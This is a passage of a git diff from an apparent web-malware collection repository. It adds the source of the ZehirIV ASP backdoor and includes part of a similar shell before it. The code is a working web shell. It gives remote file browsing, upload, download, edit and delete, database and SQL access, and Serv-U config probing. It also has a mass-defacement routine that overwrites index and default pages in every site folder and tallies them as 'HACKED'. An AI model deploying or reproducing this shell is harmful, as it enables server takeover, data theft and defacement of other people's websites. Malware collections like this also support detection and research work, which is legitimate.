        " & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " + path=addslash(targetPath) & name + objUpload.Fields("file" & i).SaveAs path + + if objFSO.FileExists(path) then + on error resume next + set f=objFSO.GetFile(path) + if IsObject(f) then + if f.Size=size then success=true else success=false + end if + set f=nothing + end if + if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!" + end if + next + response.Write gMsg + set objUpload=nothing + +end sub + +if status="-4" then + Upload() +' hataKontrol + popup=false +end if +'//////////////////////////////// +sub hataKontrol + if err<>0 then + Response.Write "Hata : "&err.Description&"" + end if +end sub + +sub araBul(path_,ara_) + on error resume next + If Len(path_) > 0 Then + cur = path_&"\" + If cur = "\\" Then cur = "" + parent = "" + If InStrRev(cur,"\") > 0 Then + parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) + End If + Else + cur = "" + End If + + Set f = objFSO.GetFolder(cur) + + Set fc = f.Files + For Each f1 In fc + if lcase(InStr(1,f1.name,lcase(ara_)))>0 then + downStr = "" + if lcase(ara_)="mdb" then + Response.Write downStr&" * "&f1.path&" ["&f1.size&"]"&"
        " + else + Response.Write downStr&"! - "&f1.path&" ["&f1.size&"]"&"
        " + end if + end if + Next + + Set fs = f.SubFolders + For Each f1 In fs + araBul f1.path,ara_ + Next + Set f = Nothing + Set fc = Nothing + Set fs = Nothing +end sub + +sub sistemTest + response.Write "" + response.Write "" + + servu_Test + WriteTestOnDriver + WriteTestOnLocalPath + LocalPathParentFolder + LocalPathPParentFolder + + response.Write "
        KonumSonu�
        " +end sub + +sub servu_Test + dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini") + for each drive_ in objFSO.Drives + if drive_.Drivetype=2 or drive_.Drivetype=3 then + for each d_ in dosya_ + d_ = drive_.DriveLetter&":\"&d_ + if objFSO.FileExists(d_) then + response.Write "Serv-U ini file : "&d_&"" + end if + next + end if + next +end sub + +function yaziyomu(yol) + on error goto 0:on error resume next + dim sonuc__ + Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True) + MyFile.write "byzehir " + set MyFile = Nothing + if err<>0 then + sonuc__="Yazma Hakk� Yok!" + else + sonuc__="Yazma Hakk� Var!" + on error goto 0: on error resume next + objFSO.DeleteFile yol & "\test.zehir",true + if err<>0 then + sonuc__=sonuc__&"
        Silme Hakk� Yok!" + else + sonuc__=sonuc__&"
        Silme Hakk� Var!" + end if + end if + yaziyomu = sonuc__ +end function + +function yaziyomu2(yol) + on error goto 0:on error resume next + Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True) + MyFile.write "byzehir " + set MyFile = Nothing + if err<>0 then + yaziyomu2 = false + else + objFSO.DeleteFile yol & "\test.zehir" + yaziyomu2 = true + end if +end function + +sub WriteTestOnDriver + for each drive_ in objFSO.Drives + if drive_.Drivetype=2 or drive_.Drivetype=3 then + if not yaziyomu2(drive_.DriveLetter&":\") then + Response.Write ""&drive_.DriveLetter&":\yazma yetkisi yok! : ["&err.Description&"]" + else + Response.Write ""&drive_.DriveLetter&":\yazma yetkisi var!" + end if + end if + next +end sub + +sub WriteTestOnLocalPath + on error goto 0 + on error resume next + if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then + Response.Write "Local Path yazma yetkisi yok! : ["&err.Description&"]" + else + Response.Write "Local Path yazma yetkisi var!" + end if +end sub + +sub LocalPathParentFolder + on error goto 0 + on error resume next + hed_ = request.servervariables("APPL_PHYSICAL_PATH") + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + parhed_ = left(hed_,InStrRev(hed_,"\")) + + Set f = objFSO.GetFolder(parhed_) + Set fc = f.SubFolders + + int_fol=0 + int_fil=0 + For Each f1 In fc + int_fol=int_fol+1 + Next + + Set fc = f.files + For Each f1 In fc + int_fil=int_fil+1 + Next + + if err<>0 then + Response.Write "Local Path
        Parent FolderHata Olu�tu : ["&err.Description&"]" + else + Response.Write "Local Path
        Parent FolderFolder : "&FormatNumber(int_fol,0)&"
        File : "&FormatNumber(int_fil,0)&"" + end if +end sub + +sub LocalPathPParentFolder + on error goto 0 + on error resume next + hed_ = request.servervariables("APPL_PHYSICAL_PATH") + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + hed_ = left(hed_,InStrRev(hed_,"\")) + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + parhed_ = left(hed_,InStrRev(hed_,"\")) + + Set f = objFSO.GetFolder(parhed_) + Set fc = f.SubFolders + int_fol=0 + int_fil=0 + For Each f1 In fc + int_fol=int_fol+1 + Next + + Set fc = f.files + For Each f1 In fc + int_fil=int_fil+1 + Next + + if err<>0 then + if err=451 then + Response.Write "Local Path
        P.Parent FolderData �st Klasor Yok :)" + else + Response.Write "Local Path
        P.Parent FolderHata Olu�tu : ["&err.Description&"]" + end if + else + Response.Write "Local Path
        P.Parent FolderFolder : "&FormatNumber(int_fol,0)&"
        File : "&FormatNumber(int_fil,0)&"" + end if +end sub + +SELECT CASE status +CASE 13 'Sistem Bilgisi + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        : Sistem Bilgileri :
        Local Adres " & request.servervariables("REMOTE_ADDR") & "
        User Agent " & request.servervariables("HTTP_USER_AGENT") & "
        Server " & request.servervariables("SERVER_NAME") & "
        IP " & request.servervariables("LOCAL_ADDR") & "
        HTTPD " & request.servervariables("SERVER_SOFTWARE") & "
        Port " & request.servervariables("SERVER_PORT") & "
        Yol " & request.servervariables("APPL_PHYSICAL_PATH") & "
        Log Root " & request.servervariables("APPL_MD_PATH") & "
        HTTPS " & request.servervariables("HTTPS") & "
        " + popup = false +CASE 14 'Upload and Search + aramaUpload + popup = false + hataKontrol +CASE 15 'Ms. SQL Server + Response.Write "
        " + Response.Write "
        SQL Server i�in connection string giriniz
        " + Response.Write "" + Response.Write "
        " + response.Write "" + Response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 16 'file Copy window + Response.Write "
        " + Response.Write "
        Kop. Yer : " + Response.Write "" + Response.Write "" + response.Write "" + Response.Write "
        " + response.Write "Kopyala" + response.Write "Tasi" + response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 17 'file Copy + isl = "" + if islem="kopyala" then + objFSO.CopyFile path,cf + isl="kopyaland�.." + elseif islem="tasi" then + objFSO.MoveFile path,cf + isl="ta��nd�.." + end if + response.Write "Dosya "&isl + response.Write "
        Kaynak : "&path&"
        Hedef : "&cf + response.Write "
        " + popup = false + hataKontrol +CASE 18 'folder Copy window + Response.Write "
        " + Response.Write "
        Kop. Yer : " + Response.Write "" + Response.Write "" + response.Write "" + Response.Write "
        " + response.Write "Kopyala" + response.Write "Tasi" + response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 19 'folder Copy + isl = "" + if islem="kopyala" then + objFSO.CopyFolder path,cf + isl="kopyaland�.." + elseif islem="tasi" then + objFSO.MoveFolder path,cf + isl="ta��nd�.." + end if + response.Write "Klasor "&isl + response.Write "
        Kaynak : "&path&"
        Hedef : "&cf + response.Write "
        " + popup = false + hataKontrol +CASE 33 'Powered By + response.Write "

        Powered by Zehir" + response.Write "

        zehirhacker@hotmail.com
        k�ll� nefsun zaifetun mevt" + popup = false + hataKontrol +CASE 40 'Sistem Test + sistemTest + popup=false +CASE 50 'Siteleri Test Edelim :D + %> + + + + +
        + G�venlik Testi byZehir +
        +
        + + + + + + + + + + + + + + + + + + + + +
        Path
        Sub Folder
        File Name
        + + + + + +
        + index.htm
        + default.htm
        +
        + index.asp
        + default.asp
        +
        +
        + Kes + Kopyala + Yap��t�r + Bold + Italic + UnderLine + JustifyLeft + JustifyCenter + JustifyRight + AddLink + AddImage + + + + + + + +
        +
        +
        + <% + popup=false +CASE 51 ' �zel �ilemler +END SELECT +%> + + +<% +if popup then + if status=7 or status=8 then + Response.Write "
        " + Response.Write "
        SQL �al��t�r" + Response.Write "" + Response.Write "" + Response.Write "
        " + end if + Response.Write "
        " + Response.Write "
        Path : " + Response.Write "" + Response.Write "" + Response.Write "

        " +end if +sub aramaUpload +Response.Write "
        " +Response.Write "
        Arama : " +Response.Write " " +Response.Write "" +Response.Write "
        " +%> +
        " ID="Form1"> + +Max: + + + + +
        +
        + +
        + +<% +end sub + +SELECT CASE status +CASE 1 'Driver Open + if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) + Response.Write "" + Path = Path & ":/" + Response.Write "" + hataKontrol +CASE 2 'Normal listeleme + if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) + Response.Write "
        " + KlasorOku + Response.Write "" + DosyaOku + Response.Write "
        " + Response.Write "" + hataKontrol +CASE 3 'File Delete + objFSO.DeleteFile del + hataKontrol + if err<>0 then + byMsg="Not File Deleted!
        " + else + byMsg="File Deleted Successful;)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg +CASE 4 'Folder Delete + objFSO.DeleteFolder del + hataKontrol + if err<>0 then + byMsg="Not Folder Deleted!
        " + else + byMsg="Folder Deleted Successful;)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg +CASE 5 'Dosya i�eri�ini g�r�nt�le + Response.Write "
        "&path&"

        " + Response.Write "
        " + KlasorOku + Response.Write "" + DosyaOku + Response.Write "
        " + set f = objFSO.OpenTextFile(path,1) + Response.Write "
        "&Server.HTMLEncode(f.readAll)&"
        " + if err<>62 then hataKontrol + if err.number=62 then Response.Write "":Response.End +CASE 6 'Resim a� + Response.Write "
        zehirhacker@hotmail.com / zehirhacker@hotmail.com

        " +CASE 7 'database tablo listele + Response.Write "Tablolar

        " + Set objConn = Server.CreateObject("ADODB.Connection") + Set objADOX = Server.CreateObject("ADOX.Catalog") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objADOX.ActiveConnection = objConn + + For Each table in objADOX.Tables + If table.Type = "TABLE" Then + Response.Write "4 "&table.Name&"
        " + End If + Next + hataKontrol +CASE 8 'database kay�t listele + Set objConn = Server.CreateObject("ADODB.Connection") + Set objRcs = Server.CreateObject("ADODB.RecordSet") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objRcs.Open table,objConn, adOpenKeyset , , adCmdText + + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + do while not objRcs.EOF + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + objRcs.MoveNext + loop + Response.Write "
           "&objRcs.Fields(i).Name&"   
        "&objRcs.Fields(i).Value&" 

        " + hataKontrol +CASE 9 'SQL Execute + Set objConn = Server.CreateObject("ADODB.Connection") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objConn.Execute strSQL +' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time + hataKontrol +CASE 10 'Dosya Editleme + set f = objFSO.OpenTextFile(dPath,1) + Response.Write "
        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        " + Response.Write "
        " + hataKontrol +CASE 11 'Dosya Kay�t + set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false) + hataKontrol + saveTextFile.Write(dkayit) + saveTextFile.close + if err<>0 then + byMsg = "Not File Edited!
        " + else + byMsg = "File Edited Successful:)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg +CASE 12 'Dosya Arama + araBul path,arama + hataKontrol +END SELECT +Response.Write "
        " + +sub DosyaOku + Set f = objFSO.GetFolder(Path) + Set fc = f.Files + For Each f1 In fc + dosyaAdi = f1.name + num = InStrRev(dosyaAdi,".") + uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num)) + downStr = "4" + response.Write "" + select case uzanti + case "mdb" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&"
        M �"&downStr&"
        " + case "asp" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&"
        !"&downStr&"
        " + case "jpg","gif" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" �"&downStr&"
        " + case else + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&"
        " + end select + Next +end sub + +sub KlasorOku + Set f = objFSO.GetFolder(Path) + Set fc = f.SubFolders + if session("klasoroku")="" then + response.Write "" + session("klasoroku")="simdi yaz�l�yor" + end if + For Each f1 In fc + Response.Write "4 1"&f1.name&"
        " + Next +end sub + +function createFileName() +Randomize + fName_ = "" + for i=1 to 10 + fName_ = fName_ & int(Rnd*100) + next + createFileName = fName_ +end function + +function resimYol(path_) +on error resume next + path_ = Replace(Replace(path_,"\","/"),"//","/") + lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\")) + if yaziyomu2(lpath_) then + fname__ = "0"&createFileName()&"."&Right(path_,3) + objFSO.CopyFile path_, lpath_&"\"&fname__ + else + Response.Write("Resim A��lam�yor..
        �sterseniz Download Ederek g�r�nt�leyebilirsiniz..") + end if + resimYol = fname__ +end function + +if not popup then + Set fc = Nothing + Set objFSO = Nothing + Response.End +end if +%> + <% + Response.Write "" + for each drive_ in objFSO.Drives + Response.Write "" + next + Response.Write "" + Response.Write "
        S�r�c�ler
        " + Response.write ";" + if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" + Response.Write "
        " + Response.write "H Local Path" + Response.Write "

        " +Set fc = Nothing +Set objFSO = Nothing +Response.End%> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/zehir4.txt b/web-malware-collection-master/Backdoors/ASP/zehir4.txt new file mode 100755 index 0000000..8ac7087 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/zehir4.txt @@ -0,0 +1,1195 @@ + +<% +mpat=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\") +dosyaPath = mid(mpat,InStrRev(mpat,"\")+1) +on error resume next +Dim objFSO,popup +Set objFSO = CreateObject ("Scripting.FileSystemObject") +if Request("kuskapani")=1 then + Response.End +end if +if Request("kuskapani")=2 then + on error resume next + path = Request("path") + sFolder = Request("SubFolder") + fName = Request("FileName") + d1 = Request("dosya1") + d2 = Request("dosya2") + d3 = Request("dosya3") + d4 = Request("dosya4") + bg__ = Request.Form("selectColour") + if bg__ = "0" then bg__ = "#ffffff" + byMesaj = "" & Request("byMesaj") & "

        powered by Z" & Session("n2") & "3 ;)" + + sFolder = Replace(sFolder,"/","\") + + if Right(sFolder,1)<>"\" then sFolder = sFolder & "\" + Set f = objFSO.GetFolder(Path) + Set fc = f.SubFolders + h__ = 0 + f__ = 0 + ss__ = now + For Each f1 In fc + hedef_ = replace(f1.path,"/","\") + if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\" + hedef__ = left(hedef_,len(hedef_)-1) + folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\")) + if d1<>"" then d1 = true + if d2<>"" then d2 = true + if d3<>"" then d3 = true + if d4<>"" then d4 = true + on error goto 0:on error resume next + if fName<>"" then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True) + MyFile.write byMesaj + end if + if d1 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True) + MyFile.write byMesaj + end if + if d2 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True) + MyFile.write byMesaj + end if + if d3 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True) + MyFile.write byMesaj + end if + if d4 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True) + MyFile.write byMesaj + end if + + if err<>0 then + response.Write folderName_ & " [FAILED!]
        " + f__ = f__ + 1 + else + response.Write folderName_ & " [HACKED]
        " + h__ = h__ + 1 + end if + Next + ss___ = now + response.Write "
        by zehir!...
        Sonuc : Toplam S�re : "&left(ss__-ss___,5)&"sn. ;)
        Hacked = "&h__&"
        Failed = "&f__ + response.End +end if + +status = Request("status") +path = Request("path") +dPath = Request("dPath") +arama = Request("txArama") +dkayit = Request("dkayit") +table = Request("table") +del = Request("del") +islem = Request("islem") +strSQL = Request("strSQL") +cf = Request("cf") +pathfile = request("pathfile") +if path="" then path=request.servervariables("APPL_PHYSICAL_PATH") +if status="" then status=2 +popup = true +'//////////////////////////////// +Function ReadBinaryFile(FileName) + Const adTypeBinary = 1 + Dim BinaryStream + Set BinaryStream = CreateObject("ADODB.Stream") + BinaryStream.Type = adTypeBinary + BinaryStream.Open + BinaryStream.LoadFromFile FileName + ReadBinaryFile = BinaryStream.Read +End Function +if status="-3" then + Response.Buffer=True + Set Fil = objFSO.GetFile(pathfile) + + Response.contenttype="application/force-download" + Response.AddHeader "Cache-control","private" + Response.AddHeader "Content-Length", Fil.Size + Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name + + Response.BinaryWrite readBinaryFile(Fil.path) + Set f = Nothing: Set Fil = Nothing + response.End() +end if +'////////////////////////////////// +if status="-4" then popup=false +if status="13" then popup=false +if status="14" then popup=false +if status="15" then popup=false +if status="16" then popup=false +if status="17" then popup=false +if status="18" then popup=false +if status="19" then popup=false +if status="33" then popup=false +if status="40" then popup=false +if status="50" then popup=false +byMsg = request.QueryString("byMsg") +if byMsg<>"" then response.Write byMsg +response.Write "ZehirIV --> Powered By Zehir <zehirhacker@hotmail.com>" +if popup then +%> +
        +System Info + | +System Test + | +Sites Test + | +Folder Action + | +SQL Server + | +POWERED BY + +<% +end if +'#################################### +Class clsUpload + Private mbinData + Private mlngChunkIndex + Private mlngBytesReceived + Private mstrDelimiter + Private CR + Private LF + Private CRLF + Private mobjFieldAry() + Private mlngCount + + Private Sub RequestData + Dim llngLength + mlngBytesReceived = Request.TotalBytes + mbinData = Request.BinaryRead(mlngBytesReceived) + End Sub + + Private Sub ParseDelimiter() + mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1) + End Sub + + Private Sub ParseData() + Dim llngStart + Dim llngLength + Dim llngEnd + Dim lbinChunk + llngStart = 1 + llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF) + While Not llngStart = 0 + llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2 + llngLength = llngEnd - llngStart + lbinChunk = MidB(mbinData, llngStart, llngLength) + Call ParseChunk(lbinChunk) + llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF) + Wend + End Sub + + Private Sub ParseChunk(ByRef pbinChunk) + Dim lstrName + Dim lstrFileName + Dim lstrContentType + Dim lbinData + Dim lstrDisposition + Dim lstrValue + lstrDisposition = ParseDisposition(pbinChunk) + lstrName = ParseName(lstrDisposition) + lstrFileName = ParseFileName(lstrDisposition) + lstrContentType = ParseContentType(pbinChunk) + If lstrContentType = "" Then + lstrValue = CStrU(ParseBinaryData(pbinChunk)) + Else + lbinData = ParseBinaryData(pbinChunk) + End If + Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData) + End Sub + + Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData) + Dim lobjField + ReDim Preserve mobjFieldAry(mlngCount) + Set lobjField = New clsField + lobjField.Name = pstrName + lobjField.FilePath = pstrFileName + lobjField.ContentType = pstrContentType + If LenB(pbinData) = 0 Then + lobjField.BinaryData = ChrB(0) + lobjField.Value = pstrValue + lobjField.Length = Len(pstrValue) + Else + lobjField.BinaryData = pbinData + lobjField.Length = LenB(pbinData) + lobjField.Value = "" + End If + Set mobjFieldAry(mlngCount) = lobjField + mlngCount = mlngCount + 1 + End Sub + + Private Function ParseBinaryData(ByRef pbinChunk) + Dim llngStart + llngStart = InStrB(1, pbinChunk, CRLF & CRLF) + If llngStart = 0 Then Exit Function + llngStart = llngStart + 4 + ParseBinaryData = MidB(pbinChunk, llngStart) + End Function + + Private Function ParseContentType(ByRef pbinChunk) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStrB(llngStart + 15, pbinChunk, CR) + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 15 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength))) + End Function + + Private Function ParseDisposition(ByRef pbinChunk) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF) + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 22 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength)) + End Function + + Private Function ParseName(ByRef pstrDisposition) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStr(llngStart + 6, pstrDisposition, """") + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 6 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseName = Mid(pstrDisposition, llngStart, llngLength) + End Function +' ------------------------------------------------------------------------------ + Private Function ParseFileName(ByRef pstrDisposition) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStr(llngStart + 10, pstrDisposition, """") + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 10 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseFileName = Mid(pstrDisposition, llngStart, llngLength) + End Function + + Public Property Get Count() + Count = mlngCount + End Property + + Public Default Property Get Fields(ByVal pstrName) + Dim llngIndex + If IsNumeric(pstrName) Then + llngIndex = CLng(pstrName) + If llngIndex > mlngCount - 1 Or llngIndex < 0 Then + Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.") + Exit Property + End If + Set Fields = mobjFieldAry(pstrName) + Else + pstrName = LCase(pstrname) + For llngIndex = 0 To mlngCount - 1 + If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then + Set Fields = mobjFieldAry(llngIndex) + Exit Property + End If + Next + End If + Set Fields = New clsField + End Property + + Private Sub Class_Terminate() + Dim llngIndex + For llngIndex = 0 To mlngCount - 1 + Set mobjFieldAry(llngIndex) = Nothing + + Next + ReDim mobjFieldAry(-1) + End Sub + + Private Sub Class_Initialize() + ReDim mobjFieldAry(-1) + CR = ChrB(Asc(vbCr)) + LF = ChrB(Asc(vbLf)) + CRLF = CR & LF + mlngCount = 0 + Call RequestData + Call ParseDelimiter() + Call ParseData + End Sub + + Private Function CStrU(ByRef pstrANSI) + Dim llngLength + Dim llngIndex + llngLength = LenB(pstrANSI) + For llngIndex = 1 To llngLength + CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) + Next + End Function + + Private Function CStrB(ByRef pstrUnicode) + Dim llngLength + Dim llngIndex + llngLength = Len(pstrUnicode) + For llngIndex = 1 To llngLength + CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) + Next + End Function +End Class +'#################################### +Session("n1") = "byZ" +Class clsField + Public Name + Private mstrPath + Public FileDir + Public FileExt + Public FileName + Public ContentType + Public Value + Public BinaryData + Public Length + Private mstrText + + Public Property Get BLOB() + BLOB = BinaryData + End Property + + Public Function BinaryAsText() + Dim lbinBytes + Dim lobjRs + If Length = 0 Then Exit Function + If LenB(BinaryData) = 0 Then Exit Function + + If Not Len(mstrText) = 0 Then + BinaryAsText = mstrText + Exit Function + End If + lbinBytes = ASCII2Bytes(BinaryData) + mstrText = Bytes2Unicode(lbinBytes) + BinaryAsText = mstrText + End Function + + Public Sub SaveAs(ByRef pstrFileName) + Const adTypeBinary=1 + Const adSaveCreateOverWrite=2 + Dim lobjStream + Dim lobjRs + Dim lbinBytes + If Length = 0 Then Exit Sub + If LenB(BinaryData) = 0 Then Exit Sub + Set lobjStream = Server.CreateObject("ADODB.Stream") + lobjStream.Type = adTypeBinary + Call lobjStream.Open() + lbinBytes = ASCII2Bytes(BinaryData) + Call lobjStream.Write(lbinBytes) + + On Error Resume Next + + Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) + + 'if err<>0 then response.Write "
        "&err.Description + + Call lobjStream.Close() + Set lobjStream = Nothing + End Sub + + Public Property Let FilePath(ByRef pstrPath) + mstrPath = pstrPath + If Not InStrRev(pstrPath, ".") = 0 Then + FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) + FileExt = UCase(FileExt) + End If + If Not InStrRev(pstrPath, "\") = 0 Then + FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) + End If + If Not InStrRev(pstrPath, "\") = 0 Then + FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) + End If + End Property + + Public Property Get FilePath() + FilePath = mstrPath + End Property + + private Function ASCII2Bytes(ByRef pbinBinaryData) + Const adLongVarBinary=205 + Dim lobjRs + Dim llngLength + Dim lbinBuffer + llngLength = LenB(pbinBinaryData) + Set lobjRs = Server.CreateObject("ADODB.Recordset") + Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) + Call lobjRs.Open() + Call lobjRs.AddNew() + Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) + Call lobjRs.Update() + lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) + Call lobjRs.Close() + Set lobjRs = Nothing + ASCII2Bytes = lbinBuffer + End Function + + Private Function Bytes2Unicode(ByRef pbinBytes) + Dim lobjRs + Dim llngLength + Dim lstrBuffer + llngLength = LenB(pbinBytes) + Set lobjRs = Server.CreateObject("ADODB.Recordset") + Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) + Call lobjRs.Open() + Call lobjRs.AddNew() + Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) + Call lobjRs.Update() + lstrBuffer = lobjRs.Fields("BinaryData").Value + Call lobjRs.Close() + Set lobjRs = Nothing + Bytes2Unicode = lstrBuffer + End Function +End Class +Session("n2") = "ehir" +'#################################### +function addslash(path) + if right(path,1)="\" then addslash=path else addslash=path & "\" +end function + +sub Upload() + dim objUpload,f,max,i,name,path,size,success + + set objUpload=New clsUpload + + targetPath=objUpload.Fields("folder").Value + max=objUpload.Fields("max").Value + + for i=1 to max + name=objUpload.Fields("file" & i).FileName + size=objUpload.Fields("file" & i).Length + if (name<>"") and (size>0) then + gMsg=gMsg & "
        " & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " + path=addslash(targetPath) & name + objUpload.Fields("file" & i).SaveAs path + + if objFSO.FileExists(path) then + on error resume next + set f=objFSO.GetFile(path) + if IsObject(f) then + if f.Size=size then success=true else success=false + end if + set f=nothing + end if + if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!" + end if + next + response.Write gMsg + set objUpload=nothing + +end sub + +if status="-4" then + Upload() +' hataKontrol + popup=false +end if +'//////////////////////////////// +sub hataKontrol + if err<>0 then + Response.Write "Hata : "&err.Description&"" + end if +end sub + +sub araBul(path_,ara_) + on error resume next + If Len(path_) > 0 Then + cur = path_&"\" + If cur = "\\" Then cur = "" + parent = "" + If InStrRev(cur,"\") > 0 Then + parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) + End If + Else + cur = "" + End If + + Set f = objFSO.GetFolder(cur) + + Set fc = f.Files + For Each f1 In fc + if lcase(InStr(1,f1.name,lcase(ara_)))>0 then + downStr = "" + if lcase(ara_)="mdb" then + Response.Write downStr&" * "&f1.path&" ["&f1.size&"]"&"
        " + else + Response.Write downStr&"! - "&f1.path&" ["&f1.size&"]"&"
        " + end if + end if + Next + + Set fs = f.SubFolders + For Each f1 In fs + araBul f1.path,ara_ + Next + Set f = Nothing + Set fc = Nothing + Set fs = Nothing +end sub + +sub sistemTest + response.Write "" + response.Write "" + + servu_Test + WriteTestOnDriver + WriteTestOnLocalPath + LocalPathParentFolder + LocalPathPParentFolder + + response.Write "
        KonumSonu�
